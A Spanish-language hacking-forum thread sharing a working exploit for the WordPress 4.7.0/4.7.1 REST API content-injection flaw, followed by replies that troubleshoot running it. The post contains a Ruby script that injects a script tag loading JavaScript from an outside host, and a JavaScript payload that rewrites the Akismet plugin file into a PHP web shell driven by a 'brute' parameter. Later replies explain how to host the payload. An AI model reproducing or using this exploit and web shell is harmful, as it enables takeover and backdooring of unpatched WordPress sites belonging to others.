WordPress 4.7.0 / 4.7.1 Content Injection / Code Execution

  • 8 Respuestas
  • 10349 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Conectado ANTRAX

  • *
  • Administrator
  • Mensajes: 5731
  • Actividad:
    66.67%
  • Country: ar
  • Reputación 41
  • ANTRAX
  • Skype: underc0de.org
  • Twitter: @Underc0de
    • Ver Perfil
    • Underc0de
    • Email

Acaba de salir una actualización de Wordpress debido a esta falla de seguridad.
Hay muchos Wordpress desactualizados que aún poseen esta vulnerabilidad.

Código: (text) [Seleccionar]
# Exploit Title: WP Content Injection Shell Exploit
# Date: 31 Jan' 2017
# Exploit Author: Harsh Jaiswal
# Vendor Homepage: http://wordpress.org
# Version: Wordpress 4.7 - 4.7.1 (Patched in 4.7.2)
# Tested on: Bacbox ubuntu Linux
# Based on: https://blog.sucuri.net/2017/02/content-injection-vulnerability-wordpress-rest-api.html
# This will inject js in post, which on execution will change akismet plugin index.php file to our backdoor (brute parameter) :)
# Credits : Marc, Sucuri, Brute
# Lang : Ruby
 
require 'rest-client'
require 'json'
puts "Enter Target URI (With wp directory)"
targeturi = gets.chomp
puts "Enter Post ID"
postid = gets.chomp.to_i
response = RestClient.post(
  "#{targeturi}/index.php/wp-json/wp/v2/posts/#{postid}",
  {
    "id" => "#{postid}justtryingshell",
    "title" => "Shell Access Exploit",
    "content" => "Web shell access exploit <script src='http://yourjavascript.com/2211227783/wprce.js'></script>"
  }.to_json,
  :content_type => :json,
  :accept => :json
) {|response, request, result| response }
if(response.code == 200)
puts "Done! After js execution in admin panel, you will have shell access at '#{targeturi}/wp-content/plugins/akismet/index.php?brute=id'"
else
puts "This site is not Vulnerable"
end
 
 
#--- wprce.js --- #
x=new XMLHttpRequest()
p='/wp-admin/plugin-editor.php?'
f='file=akismet/index.php'
x.open('GET',p+f,0)
x.send()
$='_wpnonce='+/ce" value="([^"]*?)"/.exec(x.responseText)[1]+'&newcontent=<?=`$_GET[brute]`;&action=update&'+f
x.open('POST',p+f,1)
x.setRequestHeader('Content-Type','application/x-www-form-urlencoded')
x.send($)
#--- EOF --- #

Saludos,
ANTRAX


Desconectado Dr4g0n4Y

  • *
  • Underc0der
  • Mensajes: 27
  • Actividad:
    0%
  • Reputación 1
  • El objetivo es lo imposible
    • Ver Perfil
    • Email
Buen post Antrax,
Al ejecutarlo en ruby el archivo al que llame hello.rb me muestra el error siguiente, al ser casi nulo mi conocimiento en ruby quisiera verificar si es un error en el código

Código: (ruby) [Seleccionar]
ruby 1.9.3p484 (2013-11-22 revision 43786) [i686-linux]
[email protected]:~/Escritorio$ ruby hello.rb
hello.rb:41: syntax error, unexpected tSTRING_BEG, expecting $end
    $='_wpnonce='+/ce" value="([^"]*...
       ^

Desconectado #_Krypt05

  • *
  • Underc0der
  • Mensajes: 1
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
tengo el mismo error :(

Desconectado seth

  • *
  • Underc0der
  • Mensajes: 264
  • Actividad:
    0%
  • Reputación 2
    • Ver Perfil
Leen el codigo antes de ejecutarlo? esa parte es javascript

Desconectado Voodoo2k

  • *
  • Underc0der
  • Mensajes: 10
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
Pues va a ser hora de actualizar esos Wordpress que tengo por ahí. Pero primero a probar un poquito esta vulnerabilidad. Muchísimas gracias por compartir la información.

Desconectado DUDA

  • *
  • Underc0der
  • Mensajes: 338
  • Actividad:
    0%
  • Reputación 1
  • Hago pocas cosas, pero las hago bien.
    • Ver Perfil
Hola @seth de CPH (creo), poco sé de programación pero soy administrador de servidores cloud hosting y ufff clientes a miles con WordPress, ¿alguna forma de probar esta vulnerabilidad?

Gracias,
!Duda
Leen el codigo antes de ejecutarlo? esa parte es javascript

Desconectado Dr4g0n4Y

  • *
  • Underc0der
  • Mensajes: 27
  • Actividad:
    0%
  • Reputación 1
  • El objetivo es lo imposible
    • Ver Perfil
    • Email
Hola @seth de CPH (creo), poco sé de programación pero soy administrador de servidores cloud hosting y ufff clientes a miles con WordPress, ¿alguna forma de probar esta vulnerabilidad?

Gracias,
!Duda
Leen el codigo antes de ejecutarlo? esa parte es javascript
Claro que sí hay manera, nunca entendí porque seth dijo que 'leen el código antes de ejecutarlo' es algo estúpido porque el código aún siendo javascript está siendo mostrado en el script en ruby es como mostrar en c printf("alert(hello)");  Y decir que no compilara porque tiene javascript , en fin si quieres un script hecho en python que si funciona mandame un mensaje
« Última modificación: Febrero 21, 2017, 05:10:55 pm por dragonay »

Desconectado seth

  • *
  • Underc0der
  • Mensajes: 264
  • Actividad:
    0%
  • Reputación 2
    • Ver Perfil
Hola @seth de CPH (creo), poco sé de programación pero soy administrador de servidores cloud hosting y ufff clientes a miles con WordPress, ¿alguna forma de probar esta vulnerabilidad?

Gracias,
!Duda
Leen el codigo antes de ejecutarlo? esa parte es javascript
Claro que sí hay manera, nunca entendí porque seth dijo que 'leen el código antes de ejecutarlo' es algo estúpido porque el código aún siendo javascript está siendo mostrado en el script en ruby es como mostrar en c printf("alert(hello)");  Y decir que no compilara porque tiene javascript , en fin si quieres un script hecho en python que si funciona mandame un mensaje

vos tampoco lo leiste


El exploit tiene dos archivos: uno en ruby y uno en javascript
El .js lo tenes que subir a un hosting y cambiar la url en el otro archivo
Despues corres con ruby la otra parte


Hola @seth de CPH (creo), poco sé de programación pero soy administrador de servidores cloud hosting y ufff clientes a miles con WordPress, ¿alguna forma de probar esta vulnerabilidad?

Gracias,
!Duda
Leen el codigo antes de ejecutarlo? esa parte es javascript

Usa hasta la parte que dice end y el javascript no lo subas a ningun lado
No va a andar todo el exploit pero, si esto anda bien, deberias poder ver que hay un tag <script> en el comentario

Desconectado seek3r

  • *
  • Underc0der
  • Mensajes: 3
  • Actividad:
    0%
  • Reputación 0
  • Skype: scarface.ferro
    • Ver Perfil
Genial, estaba buscando un exploit para esta vuln, me volvia loco haciendolo manualmente